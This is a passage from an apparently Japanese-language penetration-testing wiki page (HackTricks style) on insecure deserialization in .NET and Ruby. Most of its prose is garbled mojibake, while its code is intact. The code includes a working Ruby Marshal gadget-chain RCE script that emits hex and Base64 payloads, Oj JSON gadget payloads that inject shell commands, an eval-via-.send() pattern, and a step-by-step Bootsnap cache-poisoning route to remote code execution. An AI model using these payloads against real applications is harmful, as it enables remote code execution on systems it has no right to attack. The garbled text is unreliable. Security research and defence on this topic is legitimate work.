BinaryFormatterãšJSON.Netã«å¯ŸããŠã«ã¹ã¿ãSerializationBinderã䜿çšããã - .Net å ã®æ¢ç¥ã®äžå®å šãªãã·ãªã¢ã©ã€ãºçšã¬ãžã§ãããææ¡ãã ãã·ãªã¢ã©ã€ã¶ããã®ãããªåãã€ã³ã¹ã¿ã³ã¹åããªãããã«ããã
- æœåšçã«ãªã¹ã¯ã®ããã³ãŒããã€ã³ã¿ãŒãããã¢ã¯ã»ã¹ãæã€ã³ãŒãããåé¢ããã WPF ã¢ããªã±ãŒã·ã§ã³ã®
System.Windows.Data.ObjectDataProviderã®ãããªæ¢ç¥ã®ã¬ãžã§ãããä¿¡é ŒãããŠããªãããŒã¿ãœãŒã¹ã«æããªãããã«ããã
åèè³æ
- Java and .Net JSON deserialization è«æ: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdfã è¬æŒ: https://www.youtube.com/watch?v=oUAeWhW5b8c ãšã¹ã©ã€ã: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby ã§ã¯ãã·ãªã¢ã©ã€ãºã¯ marshal ã©ã€ãã©ãªå ã® 2 ã€ã®ã¡ãœããã«ãã£ãŠè¡ãããŸããæåã®ã¡ãœããã§ãã dump ã¯ãªããžã§ã¯ãããã€ãã¹ããªãŒã ã«å€æããããã«äœ¿çšãããããã¯ã·ãªã¢ã©ã€ãºãšåŒã°ããŸããéã«ã2 çªç®ã®ã¡ãœãã load ã¯ãã€ãã¹ããªãŒã ããªããžã§ã¯ãã«æ»ãããã«äœ¿çšãããããã¯ãã·ãªã¢ã©ã€ãºãšåŒã°ããŸãã
ã·ãªã¢ã©ã€ãºããããªããžã§ã¯ããä¿è·ããããã«ãRuby 㯠HMAC (Hash-Based Message Authentication Code) ã䜿çšããŠããŒã¿ã®æŽåæ§ãšçæ£æ§ãä¿èšŒããŸãããã®ç®çã§äœ¿çšãããããŒã¯æ¬¡ã®ããããã®å Žæã«ä¿åãããŠããŸãïŒ
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X ã®æ±çšãã·ãªã¢ã©ã€ãºãã RCE ãžã®ã¬ãžã§ãããã§ãŒã³ (詳现㯠https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails ãæªçšããå¥ã® RCE chain: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
this vulnerability reportããŠãŒã¶ãŒããã®æªãµãã¿ã€ãºå
¥åã ruby ãªããžã§ã¯ãã® .send() ã¡ãœããã«å°éãããšããã®ã¡ãœããã¯ãªããžã§ã¯ãã®ä»»æã®ä»ã®ã¡ãœãããä»»æã®åŒæ°ã§åŒã³åºãããšãå¯èœã«ããŸãã
äŸãã°ãeval ãåŒã³åºãã第2åŒæ°ã« ruby ã³ãŒããæž¡ããšãä»»æã®ã³ãŒããå®è¡ã§ããŸã:
<Object>.send('eval', '<user input with Ruby code>') == RCE
ããã«ãååã® writeup ã§è¿°ã¹ãããã«ãæ»æè
ã .send() ã®ãã©ã¡ãŒã¿ã1ã€ã ãå¶åŸ¡ã§ããå Žåããªããžã§ã¯ãã®ãã¡ åŒæ°ãå¿
èŠãšããªãããŸãã¯åŒæ°ã« ããã©ã«ãå€ ãèšå®ãããŠããã¡ãœãããä»»æã«åŒã³åºãããšãå¯èœã§ãã
ãã®ããã«ããªããžã§ã¯ãã®ã¡ãœãããåæããŠããããã®èŠä»¶ãæºãã è峿·±ãã¡ãœãããèŠã€ãã ããšãã§ããŸãã
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
æ¹æ³ã«ã€ããŠã¯ pollute a Ruby class and abuse it in here ã確èªããŠãã ããã
Ruby _json pollution
ãªã¯ãšã¹ãããã£ã«é
åã®ãããªããã·ã¥åã§ããªãå€ãéããšãããã㯠_json ãšããæ°ããããŒã«è¿œå ãããŸãã
ãã ããæ»æè
ãä»»æã®å€ãæã€ _json ãšããå€ãããã£ã«èšå®ããããšãå¯èœã§ãã
ããšãã°ããã¯ãšã³ãããããã©ã¡ãŒã¿ã®æ£åœæ§ãæ€èšŒããäžæ¹ã§ã_json ãã©ã¡ãŒã¿ãã¢ã¯ã·ã§ã³å®è¡ã«äœ¿çšããŠããå Žåãèªå¯ã®ãã€ãã¹ãçºçããå¯èœæ§ããããŸãã
詳现㯠Ruby _json pollution page ã確èªããŠãã ããã
ãã®ä»ã®ã©ã€ãã©ãª
ãã®ææ³ã¯ from this blog post ã«ãããã®ã§ãã
ãªããžã§ã¯ããã·ãªã¢ã©ã€ãºããããã«äœ¿ãããä»ã®Rubyã©ã€ãã©ãªããããäžå®å šãªãã·ãªã¢ã©ã€ãºæã«æªçšãããŠRCEãåŒãèµ·ããå¯èœæ§ããããŸãã以äžã®è¡šã¯ããããã®ã©ã€ãã©ãªã®äžéšãšããã·ãªã¢ã©ã€ãºããããšåŒã³åºãããïŒRCEãéæããããã«æªçšå¯èœãªïŒã¡ãœããã瀺ããŠããŸãïŒ
| Library | Input data | Kick-off method inside class |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
åºæ¬äŸïŒ
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Ojãæªçšããããšããå Žåãhash颿°ã®å
éšã§to_sãåŒã³åºããããã«specãåŒã³åºããfetch_pathãåŒã³åºãgadget classãèŠã€ããããšãã§ãããã®fetch_pathã«ããã©ã³ãã ãªURLãååŸãããããšãå¯èœã ã£ãããããã®çš®ã®unsanitized deserialization vulnerabilitiesã®åªããdetectorãšãªã£ãã
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
ããã«ãåã®ææ³ã§ã¯ã·ã¹ãã äžã«ãã©ã«ããäœæãããããšã倿ããŠãããããã¯å¥ã®gadgetãæªçšããŠãããå®å šãªRCEã«å€ããããã®èŠä»¶ã§ããäŸãã°æ¬¡ã®ãããªãã®:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
以äžã¯Bootsnapãã£ãã·ã¥ãæªçšããŠarbitrary file writeè匱æ§ããšã¯ã¹ããã€ãããæé ãèšäºããçããŸãšãããã®ã§ã:
-
Identify the Vulnerability and Environment
Railsã¢ããªã®ãã¡ã€ã«ã¢ããããŒãæ©èœã«ãããæ»æè ã¯ä»»æã«ãã¡ã€ã«ãæžã蟌ããŸããã¢ããªã¯å¶éãããç°å¢ïŒDockerã®non-root userã«ããtmpãªã©ç¹å®ã®ãã£ã¬ã¯ããªã®ã¿æžã蟌ã¿å¯èœïŒã§åäœããŠãããã®ã®ãããã§ãBootsnapã®ãã£ãã·ã¥ãã£ã¬ã¯ããªïŒéåžžtmp/cache/bootsnap以äžïŒãžã®æžã蟌ã¿ã¯å¯èœã§ãã
-
Understand Bootsnapâs Cache Mechanism
Bootsnapã¯ã³ã³ãã€ã«æžã¿ã®Rubyã³ãŒããYAMLãJSONãã¡ã€ã«ããã£ãã·ã¥ããŠRailsã®èµ·åæéãççž®ããŸãããã£ãã·ã¥ãã¡ã€ã«ã«ã¯cache key headerïŒRuby versionãfile sizeãmtimeãcompile optionsãªã©ã®ãã£ãŒã«ããæã€ïŒãšç¶ãã³ã³ãã€ã«æžã¿ã³ãŒããæ ŒçŽãããŸãããã®ãããã¯ã¢ããªèµ·åæã«ãã£ãã·ã¥ãæ€èšŒããããã«äœ¿ãããŸãã
-
Gather File Metadata
æ»æè ã¯Railsèµ·åæã«èªã¿èŸŒãŸããããªã¿ãŒã²ãããã¡ã€ã«ïŒäŸ: set.rbïŒãéžã³ãŸããã³ã³ããå ã§Rubyã³ãŒããå®è¡ããRUBY_VERSIONãRUBY_REVISIONãsizeãmtimeãcompile_optionãªã©ã®éèŠãªã¡ã¿ããŒã¿ãæœåºããŸãããããã®ããŒã¿ã¯æå¹ãªcache keyãäœæããããã«äžå¯æ¬ ã§ãã
-
Compute the Cache File Path
Bootsnapã®FNV-1a 64-bitããã·ã¥æ©æ§ãåçŸããããšã§ãæ£ãããã£ãã·ã¥ãã¡ã€ã«ãã¹ãç®åºããŸããããã«ãããæªæãããã£ãã·ã¥ãã¡ã€ã«ãBootsnapãæåŸ ããæ£ç¢ºãªå ŽæïŒäŸ: tmp/cache/bootsnap/compile-cache-iseq/ 以äžïŒã«çœ®ãããŸãã
-
Craft the Malicious Cache File
æ»æè ã¯ä»¥äžãè¡ããã€ããŒããæºåããŸã:
- ä»»æã®ã³ãã³ããå®è¡ïŒäŸ: id ãå®è¡ããŠããã»ã¹æ å ±ã衚瀺ïŒ
- ååž°çãªæªçšãé²ããããå®è¡åŸã«æªæãããã£ãã·ã¥ãåé€
- ã¢ããªãã¯ã©ãã·ã¥ããªãããå ã®ãã¡ã€ã«ïŒäŸ: set.rbïŒãããŒã
ãã®ãã€ããŒãã¯ãã€ããªRubyã³ãŒãã«ã³ã³ãã€ã«ãããåéããã¡ã¿ããŒã¿ãšæ£ããBootsnapããŒãžã§ã³çªå·ãçšããŠæ éã«æ§ç¯ããcache keyããããšé£çµãããŸãã
-
Overwrite and Trigger Execution
arbitrary file writeè匱æ§ã䜿ã£ãŠãæ»æè ã¯äœæãããã£ãã·ã¥ãã¡ã€ã«ãç®åºããå Žæã«æžã蟌ã¿ãŸããæ¬¡ã«tmp/restart.txtã«æžã蟌ããªã©ããŠãµãŒãåèµ·åïŒPumaãç£èŠïŒãèªçºããŸããåèµ·åäžã«Railsãã¿ãŒã²ãããã¡ã€ã«ãrequireãããšãæªæãããã£ãã·ã¥ãã¡ã€ã«ãèªã¿èŸŒãŸããçµæãšããŠremote code execution (RCE)ãçºçããŸãã
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- å®éã®ãã§ãŒã³ã§èŠãããäžè¬ç㪠gadget ã¯ã©ã¹:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - ãã€ããŒãã«åã蟌ãŸããå žåçãªå¯äœçšããŒã«ãŒïŒunmarshal äžã«å®è¡ãããïŒ:
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
å®éã®ã¢ããªã§çŸããå Žæ:
- Rails ã® cache store ã session storeïŒæŽå²çã« Marshal ã䜿çšããŠãããã®ïŒ
- Background job ã®ããã¯ãšã³ãããã¡ã€ã«ããŒã¹ã®ãªããžã§ã¯ãã¹ãã¢
- ãã€ããªãªããžã§ã¯ãã® blob ãç¬èªã«æ°žç¶åãŸãã¯è»¢éããŠããç®æå šè¬
ã¬ãžã§ããçºèŠã®èªåå:
- ã³ã³ã¹ãã©ã¯ã¿ã
hashã_loadãinit_withããŸã㯠unmarshal äžã«åŒã°ããå¯äœçšã®ããã¡ãœããã Grep ãã - CodeQL ã® Ruby unsafe deserialization ã¯ãšãªã䜿ã£ãŠ sources â sinks ããã¬ãŒã¹ããã¬ãžã§ãããå¯èŠåãã
- å ¬éãããŠãããã«ããã©ãŒããã PoCïŒJSON/XML/YAML/MarshalïŒã§æ€èšŒãã
åèæç®
- Trail of Bits â Marshal madness: Ruby ã®ãã·ãªã¢ã©ã€ãºè匱æ§ã®ç°¡æœãªæŽå²: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam â Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 â Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI â RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security â Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab â Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab â PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR â Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke â Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke â Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits â Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs â Is This Bad? This Feels Bad â GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec â CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC â tecxx/CVE-2025-59287-WSUS
- RSC Report Lab â CVE-2025-55182 (React 19.2.0)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


